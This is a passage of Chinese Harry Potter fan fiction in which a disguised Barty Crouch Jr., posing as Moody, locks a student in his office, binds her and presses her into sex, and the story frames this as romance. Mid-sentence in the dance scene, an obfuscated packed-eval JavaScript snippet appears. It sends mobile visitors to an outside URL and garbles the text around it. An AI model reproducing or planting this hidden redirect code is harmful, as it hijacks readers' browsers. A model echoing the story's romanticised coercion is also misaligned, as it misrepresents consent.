“非常胆大!”巴格曼在高喊,外面的火龙发出一声可怕的石破天惊的尖叫,观众们不约而同的吸了口气,“他表现出了过人的胆量!啊没错,他拿到了金蛋!” 铺天盖地的掌声像打碎玻璃一样,把冬天的空气震得粉碎。 一小时后,他们一同进来了,哈利的肩膀受了伤,芙蓉和克鲁姆平安无事。 “干的不错,哈利。”莉安淡淡的说。 “你也是。”哈利笑了笑。 “你们都干得不错!”巴格曼轻快的跳进帐篷,一副欢天喜地的样子,仿佛刚才是他本人成功驯服了一条火龙。 “接下来,我还有几句话要说,”他清了清嗓子说,“第二个项目将于明年2月24日上午九点半开始,在此之前,你们可以休息很长一段时间,不过我们要留一些问题给你们考虑。” 巴格曼示意他们看手中的金蛋,“它们可以打开,看见那里的接缝吗?你们必须解开蛋里提供的线索,那将告诉你第二个项目是什么,你们可以做好准备!都清楚了吧?好了,你们走吧!” 他们离开了帐篷,穆迪已经在门口等着了,见莉安出来,带着她绕过禁林边缘往城堡走,那一瘸一拐的脚步声十分让人安心。 噔,噔,噔。 11. 圣诞 比赛结束后,格兰芬多的同学们一直没有从兴奋的情绪中缓和过来,在休息室连开了好几天的庆祝晚会,追问莉安的眼疾咒和幻身咒,以及哈利那个牛气冲冲的飞来咒,他们的热乎劲儿还没过去,又一个惊喜即将来临。 “我有几句话要对你们大家说。”这天在变形学提高班快下课的时候,一脸严肃的麦格教授突然郑重的通知了他们一个消息。 “圣诞舞会就要来临了——这是三强争霸赛的一个传统部分,也是我们与外国客人交往的一个大好机会,是这样,舞会只对四年级以上的学生开放——不过如果你们愿意,可以邀请一位低年级学生——” 众人发出阵阵惊呼和笑声,但麦格教授没有理会他们。 “要穿上你们的礼服长袍,”她继续说道,“舞会将于圣诞节晚上八点在礼堂举行,午夜十二点结束,听着——” 麦格教授从容不迫的打量着所有同学。 “圣诞舞会无疑使我们有机会放松自己,”她以一种不以为然的口吻说,“但那并不意味着,我们会放松对霍格沃茨学生的行为要求,如果格兰芬多的某个学生以任何方式给学校丢脸,我将感到十分痛心。” 下课铃响了,莉安把书本塞进书包,正准备离开教室时,麦格教授提高嗓门,在一片噪声中喊道,“普威特,请留一下,我要对你说几句话。” 莉安茫然的看着她,麦格教授等全班同学都走光了,才说道,“普威特,勇士都有自己的伴侣。” “什么伴侣?”莉安诧异至极,简直怀疑自己听错了,伴侣?! 麦格教授也怀疑的望着她,似乎认为她在开玩笑似的。 “你带去参加圣诞舞会的伴侣呀,普威特,”她耐心的说,“你的舞伴。” 莉安觉得自己的内脏都紧缩成了一团。 “舞伴?”她黯然的说,“我不跳舞。” “哦,你必须跳舞,”麦格教授不以为意的说,“我正要告诉你这一点,按传统惯例,舞会是由勇士和他们的舞伴开舞的。” 莉安突然想到了那条漂亮的银色礼裙,是小巴蒂优选,去麻瓜界给她买的,她脑海里突然浮现出自己穿着裙子,被小巴蒂牵着在舞池里旋转,他把自己举起来,就像十三年他举起小时候的自己那样,他的表情尽管深情款款,却透露着漫不经心和轻率,就像他又想捉弄她,而非他真的喜欢她。 他喜欢的是可以像对待玩偶那样随心所欲的摆弄她,并非真的爱她。 “我不跳舞。”她冷冰冰的说。 “这是传统惯例,”麦格教授坚决的说,“你是霍格沃茨的勇士,作为学校的一位代表,你必须照大家期望的那样去做,所以,你必须给自己找一个舞伴,普威特。” “我不想跳舞。”莉安的表情绷紧了。 “你听见我的话了,普威特!”麦格教授用一种不容置疑的口吻说。 “我找不到舞伴。”莉安说。 “别给我开玩笑!” “我说真的。” “那你就去邀请穆迪教授。”麦格教授冷冷的开了个玩笑。 “我…” “祝你好运。”麦格教授不再听她的狡辩,高傲的甩甩袍子,离开了教室。 今年四年级以上的所有同学都要留下来,他们都对即将到来的舞会非常痴迷,男生们到处寻找心怡的女生,大胆邀请,而女生们在走廊里吃吃笑着、窃窃私语每当有男生走过时就尖声大笑,她们兴奋的交换意见,谈论圣诞节晚上穿什么衣服。 事实上,麦格教授的话其实非常合理,有几个德姆斯特朗的男生来邀请莉安,但她面无表情的拒绝了,碰壁的人越来越多,有些人知难而退,但也不乏有些人越挫越勇,发誓要把格兰芬多这朵冷冰冰的英格兰玫瑰摘下来。 学期的最后一星期,学校里一天比一天热闹、嘈杂,他们四处谣传着关于圣诞舞会的消息,比如,邓布利多从三把扫帚的罗斯默塔那里买了八百桶香精蜂蜜酒,还预定了巫师乐队——古怪姐妹。 这晚在休息室,莉安正在赶魔药作业,斯内普故意留了一英寸的月长石论文,要他们在学期最后一节课之前上交。 罗恩正用他那副噼啪爆炸牌搭城堡,而赫敏咬着牙催促哈利研究金蛋的秘密。 “好了,赫敏,我可以休息到2月24日呢,”哈利说,“莉安你也没打开金蛋吧?” 莉安摇了摇头,她最近一直忙着为半年以后的N.E.W.Ts做准备,金蛋并不那么重要,因为她知道,穆迪一定会帮她作弊的,毕竟作弊是三强争霸赛的传统组成部分。 “但是解开那个谜可能要花好几个星期!”赫敏说,“如果别人都知道下一个项目是什么,你可就真的成为一个大傻瓜了!” “别烦他了,赫敏。”罗恩说着,把最后两张牌放到城堡顶上,轰隆一声,整个城堡爆炸了,烧焦了他的眉毛。 “真好看,罗恩…跟你的礼袍倒是很般配。” 弗雷德和乔治在扶手椅上坐了下来,罗恩摸着眉毛,检查自己被烧伤的程度。 “怎么…你们这些家伙还没有找到舞伴?”弗雷德讽刺的说。 “没有。”罗恩说。 “我说,伙计,最好加快速度,不然好姑娘就被挑光了。”弗雷德说。 “那么你和谁一起去呢?”罗恩说。 “安吉利娜。”弗雷德不假思索的回答,没有一点儿不好意思。 “什么?”罗恩吃惊的问,“你已经邀请她了?” “问得好,”弗雷德转过头,朝休息室的那头喊道,“喂,安吉利娜!” 安吉利娜正在炉火边与朋友聊天,听到喊声,朝弗雷德望过来。 “怎么啦?”她大声问道。 “愿意和我一起参加舞会吗?” 安吉利娜用掂量的目光看了看弗雷德。 “好吧。”她说,然后又转过脸继续聊天,脸上带着一丝淡淡的微笑。 “成了,”弗雷德对罗恩眨了眨眼睛,“小菜一碟。” “那你呢?”罗恩不甘心的看着乔治。 “唉,我本来不想这么做的,我怕出了休息室就被人暗算,但是既然你诚心诚意的发问了,我就大发慈悲的告诉你吧。” 乔治像模像样的叹息一声,对着一直没说话的莉安喊道,“莉安,跟我去舞会吧?” 莉安对他伸出一只手,拇指和食指弯曲,摆出一个ok。 乔治也眨了眨眼,在罗恩和哈利瞠目结舌的目光中站起来,打了个哈欠,得意洋洋的说道,“我们还要去送一封信,弗雷德,快走…” 他们离去了,罗恩不再摸他的眉毛,而是隔着已成废墟的还在冒烟的纸牌城堡望着哈利。 莉安看了这对难兄难弟一眼,没有说话,收起羊皮纸,快步朝女生宿舍的楼梯走去。 霍格沃茨的师生不断表现出想给布斯巴顿和德姆斯特朗的客人留下深刻印象的欲望,他们似乎决心在这个圣诞节展示出城堡的最佳风貌。 学校里张灯结彩的布置起来,从未这样漂亮的装饰过,大理石楼梯的扶手上挂满了永远不化的冰柱,礼堂里惯常摆放的那十二棵圣诞树上装饰着各种各样的小玩意儿,从闪闪发亮的冬青果,到不停鸣叫的活的金色猫头鹰,那些盔甲都被施了魔法,只要一有人经过,它们就会演唱圣诞颂歌。 听一只空头盔唱出“哦,来吧,你们这些虔诚的人”,真是特别滑稽,但是盔甲只知道一半的歌词,看门人费尔奇有好几次不得不把皮皮鬼从盔甲里拽出来,因为皮皮鬼躲在里面,逢到盔甲唱不下去的地方,他就自己编一些歌词填补进去,都是些非常粗野难听的话。 弗雷德和乔治的金丝雀饼干销路很好,在刚放假的一两天,动不动就有人忽然全身长出了羽毛,乔治告诉莉安,他和弗雷德正在研制另外一种新产品,惯常帮他们在莫丽面前背锅的莉安决定以后再也不会接受他们递过来的任何东西,哪怕是一个烤土豆。 大雪纷纷飘落在城堡和场地上,布斯巴顿那辆浅蓝色的马车看上去像冬天里一只挂箱的大南瓜,旁边那个洒了糖霜的姜饼小房子便是海格的小木屋,德姆斯特朗大船的船舷上结了一层冰,变得光滑透亮,帆索上也染了一层白霜。 厨房里的家养小精灵忙得不亦乐乎,准备了多种口味的热腾腾的炖菜和甜美的布丁,十分美味,这让莉安动了学习家务魔法的心思,她决定毕业后就去跟莫丽取取经。 圣诞节的早晨,莉安睡眼惺忪的下床拆礼物,莫丽每年都寄来一个包裹,今年也不例外,里面有一件银色的套头毛衣,上面是一条瑞典短鼻龙的图案,旁边还有个大大的字母R,包裹里还有一大堆自制的碎肉馅饼。 穆迪送了她一个很像陀螺的袖珍窥镜,她把窥镜放在床头上,陀螺尖端部分取得了平衡,很稳当的立在那里,她高兴的看着陀螺,看了好几秒钟,然后拿起比尔的包裹。 比尔送了一大盒子糖果,都是她爱吃的口味:比比多味豆、巧克力蛙、吹宝超级泡泡糖、滋滋蜜蜂糖,还有一张小卡片,他对不能陪她参加圣诞舞会感到难过,但是知道她的舞伴是乔治,又觉得放心许多。 拆到最后一个黑色的包裹时,莉安突然反应过来,这是小巴蒂的礼物,她应该直接把它扔进壁炉才对,但是她想了又想,最终叹了口气,把它塞进了床底下,或许哪天她彻底把小巴蒂遗忘的时候,她就可以拆开它了。 就当是他感激自己收留了他的报酬,绝对没有任何暧昧的可能,一丝都没有,她不能再被他随手施舍的一点点漫不经心的喜欢打动了。 礼堂的午餐很丰盛,包括至少一百只火鸡和一大堆圣诞布丁,还有堆积如山的克里比奇巫师小脆饼干。 穆迪在教师席上,目光落在格兰芬多长桌,看到莉安手上空空的,没有任何装饰,他的脸色又变得阴沉许多。 前几天,他终于收到了她的回信,但那信里的字句让他从头到脚透着一股冰冷的寒意,那封信十分简短,只有区区几行而已: 我的意思是,请你不要再给我写信了,我仔细想了一下,我也不会给你回信,任何回信…实际上这封信只是想让你停止这种行为,你真可怜。 这足以让他意识到,她再也不想见到他了,再也不会给他留灯,普威特的祖宅不欢迎他,不属于他。 她当初为什么要救他呢? 但这不重要,因为她向来如此,她不屑给他任何解释,他们的身份犹如天堑一般横亘在他们的身体之间,而刺痛和爱抚,从来都是一起出现,就像毒液和解药。 “你真可怜。”她仿佛在他脑中说话了,小巴蒂看着她冷漠的蓝眼睛,不知这话从何而来。 然后,像往常一样,没有声音了,这像是他从她那里听到的最后一句话,他的整个生命,他们共度的整个星期都可以用一个词来概括:可怜。 可怜,就像一个古老的诅咒落在他身上,一旦施放就不能撤销,没有解咒,他能做的就只有克服或忘记,它深深伤害他,在他身上留下痕迹,并给他留下终生的烙印,直到他下地狱时伤口还在流血——可怜,他很可怜。 这就是小巴蒂·克劳奇的一生:可怜。 她说得对,只要看他一眼,所有人就会立刻明白:可怜。 他把它藏得很好,但迟早它会露出尾巴,一旦别人看到了它,就会在任何地方看到它,在他的脸上、他的身体里、他的衣服上、他说话的语气上——可怜。 他想让自己不那么可怜,于是他总想打开她的门,看着她的家,她的卧室一直亮着灯,想看到她在等着他,随时会在他怀里半梦半醒的问他:“你去哪里了?” 他需要这个幻想让他不那么可怜,他希望穿着他的睡衣衬衫不穿下装的人是彻底拒绝他的那个女人,她看穿了他可怜的人生,他所有为了掩饰可怜而使出的小把戏,他的潦草和漫不经心。 他差点忘记自己到底为什么虚张声势,但他最终明白了她希望他弃局,可怜,仅仅是一封冷漠的回信,和她不再接受他的态度,他又被她带着经历了一次整个过程,从假装的欢笑,到受挫的表白,到尊严扫地,他发誓他握有主动权的时候,她最终轻而易举、恶毒又轻蔑的打击了他。 这感觉就像一个比针尖细得多的微小无形的针刺,起初它几乎没有碰到他,一旦它刺穿了他的皮肤,就会不停的向里伸,它越来越大,直到变得比树蜂的牙齿更宽、锯齿更大。 一开始纯洁无害,小小一团,救他于深渊,然后一把刀子径直刺穿他的心。 她浑蛋,他可怜。 她让他好心痛啊,他甚至无法说出为什么会这样,她已经慢慢回到了正轨,把他毫不留情的抛弃掉了,仿佛他从未出现过,她什么也没做过,他们之间没发生过任何事,任何事。 他的表情恢复了平静,心里却在对她说话。 你希望我不要再给你写信?嗯,你等着吧,我马上就会让你不得不面对我。 任何方式我都不介意。 七点钟时,莉安已经给自己画了一副美美的妆容,她的浅金色长卷发随意披散在肩上,只取了左右两束松松的别在耳后,因为只有一条礼裙,她不得不换上了这条小巴蒂精心准备的、闪闪发光的银色流苏裙。 “比尔一定羡慕死了,”乔治低声调侃道,“你这样很美,可惜平时你总是不喜欢这些。” 莉安笑了笑,把手递给他,两人来到门厅。 门厅里游荡着很多等待舞伴的同学,过了一会儿,麦格教授的声音响起,“请勇士们到这边来!” 芙蓉穿着银灰色的缎子长裙,身边陪伴她的是拉文克劳魁地奇队的队长罗杰·戴维斯,克鲁姆走在最前面,身边是一位穿蓝袍子的漂亮姑娘,哈利的舞伴是印度裔女孩儿帕瓦蒂·佩蒂尔,她调整了一下她的手镯,脸上露出灿烂的笑容。 同学都在礼堂里落座后,麦格教授叫勇士和他们的舞伴排好队,鱼贯而入,礼堂的墙壁上布满了闪闪发亮的银霜,天花板上是星光灿烂的夜空,还挂着好几百只槲寄生小枝和常春藤编成的花环,四张学院桌子不见了,取而代之的是一百张点着灯笼的小桌子,每张桌子旁坐着十来个人。 莉安打量了教师席片刻,发现老巴蒂·克劳奇没有来,桌旁的第五个座位上坐着珀西,他穿着一件藏青色礼袍,脸上一副得意洋洋、自命不凡的派头。 “我被提升了,”珀西看到他们几个,迫不及待的说,“我现在是克劳奇先生的私人助理了,我代表他来这里。” “他为什么不来?”哈利问。 莉安和乔治可不愿意整个晚餐都听珀西没完没了的唠叨坩埚底的厚度,立刻走人了。 用完晚餐后,邓布利多站起身,叫同学们也站起来,他一挥魔杖,所有的桌子都嗖地飞到了墙边,留出中间一片空地,他又变出一个高高的舞台,贴在右墙边,上面放着一套架子鼓、几把吉他、一把鲁特琴、一把大提琴和几架风琴。 这时,古怪姐妹一起涌上舞台,观众们爆发出雷鸣般的热烈掌声,灯笼都熄灭了,几位勇士和他们的舞伴都站了起来。 古怪姐妹奏出一支缓慢、优伤的曲子,莉安和乔治牵手走进灯火通明的舞池,她的一只手放在乔治肩上,另一只手放在他的手里。 他们慢慢的原地转圈,很快,许多人也进入了舞场,勇士不再是舞池的中心,穆迪十分笨拙的和辛尼斯塔教授跳两步舞,而辛尼斯塔教授紧张的躲避着他的木头假腿,路上莉安经过弗雷德和安吉利娜身边,他们俩跳得太奔放了,她和乔治立刻闪开,以免被撞伤了。 “袜子很漂亮,波特。”穆迪经过勇士时,粗声粗气的说,他那只带魔法的眼睛穿透了哈利的长袍。 “哦是啊,家养小精灵多比给我织的。”哈利说着,露出了微笑。 “他真是太恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727477|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怖了!”帕瓦蒂看着穆迪噔噔的走开,小声说道,“我认为不应该允许那样的眼睛存在!” 莉安皱了皱眉,帕瓦蒂立刻住了口。 风琴奏出最后一个颤抖的音符,古怪姐妹停止了演奏,礼堂里再次爆发出热烈的掌声,莉安钻出舞池,她打开了一瓶黄油啤酒,向着门厅走去。 城堡前面的一块草坪被变成了一个岩洞,里面闪烁着星星点点的仙女之光,几百个活生生的仙女或坐在魔法变出的玫瑰花丛里,或在雕像上面扑扇着翅膀,那些雕像似乎是圣诞老人和他的驯鹿。 她走进了玫瑰花园里,仙女之光闪闪烁烁,周围都是低矮的灌木丛、装饰华丽的曲折小径和巨大的石雕像,可以听见哗啦哗啦的溅水声,像是一个喷泉,间或可以看见人们坐在镂花的石凳上,她顺着一条曲折小径,在玫瑰花丛中穿行。 最后,她来到一个很大的石雕驯鹿旁边,石鹿旁边一个高高的喷泉水花进溅,闪闪发光,她坐在石凳上,一边喝黄油啤酒,一边望着月光下的泉水。 这时,一件斗篷落了下来,同时一只粗糙的大手也放在了她肩上。 “这里很冷,莉安,先回去吧,”穆迪轻声说,“你也不想打扰那些钻进灌木丛里的人吧?” 莉安望了望四周,看见芙蓉·德拉库尔和罗杰·戴维斯隐藏在近旁的一片玫瑰丛里,他们正忙着呢。 她跟着穆迪回去了,穆迪的假腿拨开花丛,惊得一群群五颜六色的小仙女飞向空中,芙蓉和罗杰也从玫瑰花丛里蹿了出来,钻进了更隐秘的树丛里。 回到穆迪的办公室后,穆迪举起魔杖,门锁上了,莉安皱了皱眉,觉得他的举动实在古怪。 “今天我想实验一下你最近的训练成果,”穆迪没有放下魔杖,而是站到了她的对面,“我们需要一场决斗,你可以尽情对我使用咒语…任何咒语,如果我输了,我会答应你一个条件,反之,如果你输了,也是如此,怎么样?如果同意那就开始吧。” 莉安的确很想让穆迪答应她时不时去他家跟随他学习的请求,便微微颔首。 他们面向对方,鞠了一躬,然后,他们把各自的魔杖像箭一样举在胸前。 “正如你所看到的,我们用一般的决斗姿势握住魔杖,”穆迪说,“数到三,我们就施第一道魔法,当然啦,黑巫师并不会坦率的跟你先鞠躬再念咒,你要学会偷袭和先发制人。” “一——二——” 他们同时把魔杖举过肩膀,但还没数到三,穆迪就喊道,“Expelliarmus! ” 一道耀眼的红光,莉安被击得站立不稳,她跌落在硬板床上,魔杖也飞到了穆迪手里。 “我说了让你学会偷袭,”穆迪淡定的扔掉了她的魔杖,“这是我给你上的第一课,不要信任任何人,哪怕是你的老师。” 说完,他的魔杖一点,几根绳子嗖嗖的从杖尖里飞出来,缠住莉安,把她捆得结结实实。 莉安缓过神来,震惊的望着他,穆迪今天实在太反常了,反常的让她有些害怕。 “我知道了,教授,”她有些恐惧的咬住嘴唇,低声说道,“能放开我了吗?这些绳子让我很不舒服。” 但是穆迪没有说话,只是坐在椅子上,两只眼睛同时盯着她。 时间在沉默中一分一秒的过去,他们一直看着彼此,看着看着,莉安惊恐的发现,穆迪的脸起了变化,伤疤渐渐消失,皮肤光滑起来,残缺的鼻子长全了,缩小了,他长长的灰发在缩短,变成了稻草色。 突然当啷一声,木腿掉到一旁,一条真腿长了出来,接着,那只带魔法的眼球从眼窝里跳了出来,一只真眼取代了它的位置,那带魔法的眼睛滚到地板上,还在滴溜溜的乱转。 男人不慌不忙的起身,脱掉了斗篷,露出了里面黑色的风衣,走到她面前。 他皮肤苍白,略有雀斑,眉宇之间纠结着一股漫不经心的气息,那张英俊的脸凑近了她,随后不容置疑的吻在她唇上。 “你输了,我要你兑现你的赌注。” 他举起魔杖,解开了捆绑她的绳子,然后急不可耐的把她压在床上,但莉安猛地挣脱了他的身体,往门口跑去。 但是门被锁上了,她盯着被扔到地上的魔杖,刚想捡起就被小巴蒂抵在了墙上。 “你怎么会在这里?你伪装穆迪有什么目的?”莉安竭力让自己平静下来,她垂着眼睛,躲避他侵略性的目光。 她想到这四个月来跟穆迪的相处,只觉得心里阵阵发寒,他无数次借穆迪之口试探她,如果她真的跟穆迪说了什么不该说的,恐怕他立刻就会让她死得无声无息… 小巴蒂仔细观察她的表情,被她气得再也掩饰不住内心的愤怒,他一口咬住她的脖子,到底是没舍得用力。 “胡思乱想什么!我教导你四个月,你居然怀疑我想杀你,你是铁石心肠吗?” 莉安没有说话,这一次他让她无法呼吸,她到底是怎么了?她从来没有这样过,一切都感觉轻盈而愉快,仿佛心口的大石已去,她又可以再次爱这个世界了。 小巴蒂希望她能告诉他一次:你甜蜜苦涩的石头心,告诉我一次,你是否也希望那段时间再次重现?我对你有意义吗?我是你想要的吗? 莉安还没来得及说话,小巴蒂便给了她一个让她日思夜想的、苦艾酒味儿的吻。 夜晚在他们面前展开,雪花刚刚擦过他们的窗户,似乎就在疲惫苍白的一团雾中死去,而穿过灯火通明的霍格沃茨城堡,浮冰在黑湖缓缓流淌,像不知要去哪里的麋鹿一样,咔嚓,咔嚓。 这座城堡今晚看起来奇异得好像中世纪,或者是因为做梦和不祥的预感杂糅在一起,就像走进了一部电影,在这部电影中,雪花飘落得如此平静,以至于它所触及的一切都让人立刻着迷和永生。 (章末车) 车前小剧场: “走开!你这个老男人!”莉安挣扎着推开了小巴蒂,一巴掌甩在他脸上。 “我之前警告过你,如果你再说我老,你会后悔的。”小巴蒂的头被她扇到一边,但他慢慢的转了过来,舔了舔被咬破的嘴唇,眼神肆无忌惮的在她脸上身上游走,表情看起来邪恶极了。 “如果你真的喜欢我,你不会勉强我的,”莉安一边色厉内荏的说,一边悄悄往魔杖的方向挪动,“何况你比我大15岁,你就是比我老,我要和年轻的男孩子谈恋爱…” 小巴蒂脸色变得有些阴沉,他们对视了半晌,他突然轻笑一声,“我知道你喜欢那个红毛,你走吧,我巴蒂·克劳奇不屑勉强别人。” 莉安提着的心终于放下了,她立刻往门口扑去,手也差一点按在了魔杖上。 突然一阵天旋地转,她感觉自己的身体被一股大力抛了起来,然后重重的落在穆迪的硬木床上,硌得她背后生疼,头晕目眩。 “巴蒂·克劳奇!你觉得这很好玩儿吗?”过了一会,她终于缓了过来,直起上身看着一步步走过来的男人,气愤的喊道,“你说了不屑勉强我,为什么不让我走!” “逗你的,谁知道你当真了,”小巴蒂懒洋洋的解开了自己的风衣,双臂抬起,脱掉了毛衣,随后把她压在床上,挑高了眉毛,“别用激将法,我不吃这一套。” “放开!”莉安又抬起了手,但小巴蒂很轻易的躲开了这个巴掌,举起魔杖一点,床头的栏杆逐渐变形,他扔下魔杖,强行把她的双手举起来,在栏杆变形成圆形之前将它们扣进了夹缝里。 “不!放开!克劳奇!”莉安的手被控制了,她不死心的用脚去踹,小巴蒂被她宁死不屈的样子逗笑了,他又拿起魔杖,让她的双腿也扣在了床尾。 “好了,这次是哪里都没法动了,只除了这张嘴,”小巴蒂捏住她的下颌,兴致盎然的说,“我喜欢它,一会儿我会让它发出最动听的声音,它会告诉我,它的主人有多么渴望我。” “呸!” 12. 金蛋 圣诞节的第二天,人们都起得很晚,黑魔法防御课办公室非常安静,小巴蒂闭着眼睛,有一搭没一搭的用指尖摩挲着怀中人的肩膀,时不时打个呵欠。 莉安中午才醒过来,但她眼睛睁不开,感觉全身都像被火龙踩过了似的,酸疼的厉害,一只手在她这里捏捏,那里揉揉,很快她就完全清醒了。 “巴蒂,”她声音沙哑的厉害,“我想喝水。” 小巴蒂对她的习惯了如指掌,伸手去拿床头的杯子,又把水递到她嘴边。 莉安喝完水,突然出其不意的一口咬在他那条环绕着自己肩膀的手臂上,“你骗我!” 小巴蒂毫不客气的放声大笑,直到莉安怕自己口水都流出来,无奈的松了嘴,他才用下巴在她头顶上蹭来蹭去。 “但是,叔叔不是一直陪着你呢吗?”他的声音一如既往的散漫轻浮,“你倒是真想跟我分开一年,如果我不在这里,恐怕你毕业的时候,已经彻底把我忘了。” 莉安咬着嘴唇,没有说话,小巴蒂就像没看见似的,继续数落她。 “前几天还是有点想我的,但是收到了红毛的信,立刻要跟我断绝关系,你不肯看我的信,也不想打开我的圣诞礼物,你打定主意再也不肯理我,我知道,就算你回了祖宅,恐怕也不愿意见到我了。” “看我为你担心很好玩吗?”莉安再也忍不住,委屈的大声控诉他,“是你跟我说,中了十三年夺魂咒的人会死,你让我排除杂念、忠于内心,却整整两个月都杳无音讯,在背地里看我着急、哭泣,我想如果不是比尔给我写了信,恐怕你还是不会联系我吧?你知不知道你到底有多恶劣?你知道,我也知道,你每天像搓弄一个玩偶一样对待我,我救了你,你却恩将仇报,没错,我的确再也不想看见你了。” 说完,她直起上身,甩脱那条手臂,把裙子抓在手里。 “你为什么不给我一些确信呢?”小巴蒂制止了她的动作,捏着她两个肩膀,耐心的说,“如果我不这样做,我怎么知道你的真实想法?你总是嘴硬,你不肯告诉我,你宁愿冷冰冰的拒绝我,也不肯承认你也爱我,别这样,莉安,我知道你心里是爱我的,但你不愿意接受我,你认为我会给你丢脸,对吗?你不想嫁给一个罪犯,这对普威特来说是奇耻大辱。” “不,”沉默半晌,莉安的身体松弛下来,她轻轻的说,“我的确在意,但也没那么在意,家里只需要我一个人做英雄就够了,是你让我感觉不到你爱我,一丝一毫真的爱我的可能,你只是想玩弄我,就像昨天晚上那样,你那么卑鄙、草率、又漫不经心,你已经得到了你想要的…虽然我不知道你为什么那么执着得到我,可能是你身边只有我吧…但是,你得到了。” 她的声音压得低低的,仔细听还带着一丝恳求的意味,“放我走吧…克劳奇…你总有一天会玩够的,别这么残忍…别非要在抛弃我的时候才让我走…我还小,你不能毁了我的人生…” 放在她肩头的手突然抓紧,小巴蒂的嘴唇抖了抖,声音也变得颤抖,“玩弄?玩够?你认为我在玩弄你,像十几年前那样逗你,所以不肯接受我,是不是?你宁愿用各种冷冰冰的话语辱骂我,也不肯承认你爱我,你想把我赶走,不愿意跟我扯上任何关系,因为你认为我玩腻了你,我自己就会溜走了,就像那个雷雨夜之后的清晨,我毫不留恋的离开了你的房子,是不是?” 莉安没有说话,但她望着他,用尽全身力气,微微点了点头。 小巴蒂的肩膀突然塌了下来,仿佛被抽光了所有力气、被肢解了,只剩一双手还能控制她,把她又压回了床上,他也泄了气似的倒下来。 一阵长时间的沉默。 “没有,”小巴蒂轻声细语的说,“玩不够,我会玩很久。” “我知道这是我的问题,”接着,他又问,“你昨晚答应…毕业后跟我结婚,还算不算数?” 莉安目不转睛的看着他,那双灰色的眼睛也一眨不眨的回望,她觉得,如果她说不,恐怕他立刻就会把她打昏过去。 沉默了一会儿,她点了点头。 小巴蒂又把手臂伸过来,从她脖颈下穿过,把她揽进怀里,他如情人般耳鬓厮磨的小声说,“总算有一件事情不那么糟糕了,我知道你不相信我,但我已经没办法改变了,可是,我确定我不会离开你的。” “如果只是因为我救了你,其实没必要这样,”莉安神情恹恹的躺在他胸口上,她的一只手捂住脸,声音有些沉闷,“我知道,你在这儿一定有你的目的,开学的前几天晚上你突然不告而别,然后穆迪就被垃圾箱袭击了,恐怕那是你做的吧?你倒也真的信任我,一点儿也不怕我告诉邓布利多,你…” “我当然不怕,”小巴蒂的语气很亲昵,手也在不老实的在她身上到处揉捏,“这些日子你的反常我都看在眼里,我知道你也爱我,所以你会纵容我的,就算我有不可告人的目的,但这跟我想陪着你并不冲突,你不想我陪着你吗?你不喜欢我伪装的穆迪吗?我可以很肯定的告诉你,真正的穆迪不会像我一样耐心,他的确看重普威特兄弟,但是人走茶凉的道理你应该明白,你看他们对隆巴顿夫妇的儿子的态度…甚至还比不上我这个食死徒,不是吗?” “你自己坏就算了,不要带坏我!”莉安被他揉得身体发软,却仍然用尽最后一丝理智喊道,“我要做傲罗,你不能阻止我!” “不会阻止你的,”小巴蒂翻了个身,压在她身上,“我会让你成为最优秀的傲罗…” “别…都肿了…” “昨晚给你上了药…已经好了…” 莉安抱着他的脖子,心又开始狂跳,感觉快要发疯了,她讨厌这样,但也喜欢这样,仿佛她正从一座非常高的桥上凝视着一条河,被牢牢的系在一根绳子上,那种恐惧比纵身跳下去更可怕。 虽然忍受不了沉沦的感觉,但她发现自己说出了脑中闪现的第一句话。 “你还记得你第一次把我抱起来的时候吗?” 她花了很长时间才说出这一句,平淡无奇、吞吞吐吐、令人窒息的复杂句子。 “记得,你在我的手臂上坐着,掀开了我的面具,还咬了我一口。” 小巴蒂神经质的舔舔她的嘴唇,又补充一句,“你小时候闻起来很香,还带着奶味儿,你经常咬人吗?” “我和狗一起长大的。” 一个有意找的临时借口,小巴蒂笑了笑,他已经感觉到她在努力发起快速反击。 这是他们之间感觉最好的一刻吧?莉安恍恍惚惚的想,是小巴蒂在说话,还是药物的作用?他的气息又扑到了她的脸上,她想让他湿润的嘴唇亲吻她的脸。 一整年的阴霾以烟幕的方式结束,她想要和他重温昨晚那个巅峰时刻,甚至她的余生都会不停怀念他们的夜晚,她想要把它留到最后好好享用,每次几乎要克制不住打开惊喜包裹的兴奋,她就压抑住这种冲动,故意慢慢的拆开礼物包装。 她心情非常好,想着无论这间办公室属不属于他都没有关系,因为以她现在的心情,无论这里是否通风、闷热或肮脏,都是美好的和愉快的——他们之间终于有一点头绪了。 这么多年过去了,她再也无法回避那个隐秘的事实:她一直怀念趴在他身上的那个夜晚,他的手臂环绕着她,把轰隆隆的雷声隔绝在外,无论她筑起几道防线,怎么催眠自己,当他再次出现时,她对他的渴望就会像冬眠的某种爬行动物一样从沉睡中苏醒。 而现在,她渴望钻进他的风衣,他们的身体紧紧贴在一起,她渴望更多的雪天、冬青树和羊毛帽子,以及在圣诞周萦绕不去的礼物包装蜡纸淡淡的味道。 小巴蒂停顿了片刻。 “你在想我吗?” “在想你。” 圣诞节一过,2月24日就显得近了许多,莉安终于抽出一点时间,开始思考藏在金蛋里的线索到底是什么,上次哈利在他们的休息室里撬开了金蛋,那声音简直就像一百个女鬼在她耳边嚎叫,那是一种极为恐怖的、尖厉刺耳的惨叫声,听得她毛骨悚然。 小巴蒂看她这么着急,倒是很想帮帮她,但是莉安跟他犯了倔,使劲摇晃着金蛋,然后试图把它打开,然而金蛋依然在惨叫。 同样唉声叹气的还有哈利,他也对金蛋毫无头绪,两人交流了一下情报,发现摔打、撞击、对金蛋提问都是没有用的,现在他们两个都对金蛋过敏了,根本不敢打开,那声音让他们连做了好几天噩梦。 甚至有好几次,显形的小巴蒂被她的梦话和呻吟声吵得睡不着觉,一摸床单,上面湿漉漉的都是她的冷汗,不得不把她翻到身上抱着——穆迪的单人床太过狭窄。 